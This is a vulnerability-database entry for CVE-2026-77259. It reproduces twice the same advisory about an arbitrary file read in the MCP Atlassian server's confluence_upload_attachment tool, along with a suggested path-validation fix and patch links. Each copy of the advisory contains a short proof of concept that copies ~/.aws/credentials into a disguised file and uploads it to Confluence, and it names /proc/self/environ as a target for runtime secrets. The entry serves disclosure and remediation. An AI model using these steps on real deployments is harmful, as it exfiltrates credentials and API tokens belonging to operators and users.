CVE-2026-77259
highpriority · track · 0EPSS 0.004 · 38 %ileUSEPSS · scored 2026-10-27
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, "rb"), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
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affected products (2)
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advisories (2)
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- GHSA-6cr4-ccf3-x7h4MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials2026-09-22ghsa · osvUS
### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ### Details `AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check: ```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization. --- ### PoC ```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png # 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" ) # 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact. --- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching. Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory. --- ### Suggested Fix ```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open(): try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ``` Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.
- PYSEC-2026-4086MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials2026-10-01vendor · osvUS
### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ### Details `AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check: ```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization. --- ### PoC ```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png # 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" ) # 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact. --- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching. Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory. --- ### Suggested Fix ```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open(): try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ``` Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.
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references (4) nvd
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- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460Patch
- https://github.com/sooperset/mcp-atlassian/pull/1448Issue TrackingPatch
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0Release Notes
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6cr4-ccf3-x7h4ExploitMitigationVendor Advisory
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